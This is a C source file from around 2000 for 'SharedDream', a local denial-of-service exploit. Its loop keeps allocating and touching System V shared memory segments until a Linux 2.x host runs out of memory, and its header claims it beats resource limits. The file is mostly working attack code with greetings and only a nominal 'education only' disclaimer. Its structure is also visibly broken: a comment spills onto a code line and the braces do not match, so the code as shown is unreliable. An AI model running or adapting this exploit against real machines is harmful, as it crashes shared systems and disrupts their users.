/* SharedDream - (c) Shadow, KKI Security                         [2000]*/
/*                                                                [2000]*/
/* I'm not responsible for any damaged done by this proggie...    [2000]*/
/* It should be used only for education...                        [2000]*/
/* To protect - use brain, Solar's patches, or whatever...        [2000]*/
/* This problem is because shared memory segments can exist even  [2000]*/
/* if they are not combined with programs!                        [2000]*/
/* !This program will crash your machine (localy) at kernels 2.x! [2000]*/
/* If you are on kernels 2.2.x with limits run it twice :)        [2000]*/
/* really - even when rescource limits are set! :)                [2000]*/
/* Probably original idea by lcamtuf                              [2000]*/
/* heck you should told me that you found it                      [2000]*/
/* first  ;)                                                      [2000]*/
/* heh - worm greetings for for coding style ;)                   [2000]*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#define BOLD "\033[00;04m"
#define BLUE "\033[00;36m"
#define STAN "\033[00;00m"

void main(void)
{
  char *p;
  int   i = 10000000;

  printf("\n\n");
  printf(BOLD "*)" BLUE " SharedDream"STAN" - shared memory segments abuser\n");
  printf(BOLD "*)\n" STAN);
  printf(BOLD "*)" STAN " (c) 1999" BOLD " Shadow " STAN "(" BOLD "shadow@security.kki.pl" STAN ")\n");
  printf(BOLD "*)" STAN " greetz to " BOLD " vision (yo remember me), lcamtuf, kodzak, #??? ppl, Lam3rz, daworm, Trolinka, viedzmin other folks i forgot to mention\n" STAN);
  printf(BOLD "*)" STAN " Now it will eat up your memory even if it seems to be limited\n");
  printf(BOLD "*)" STAN " Starting...");
  fflush(stdout);

  while (1)
    if (p = shmat(shmget(0, i, 0777), 0, 0))
      memset( p,'\0',i); // need to touch
  memory somehow
  printf(".DoW.");
  fflush(stdout);
}
else
  {
    i--;
  }
}
exit(0);
}
}
/*                    www.hack.co.za              [2000]*/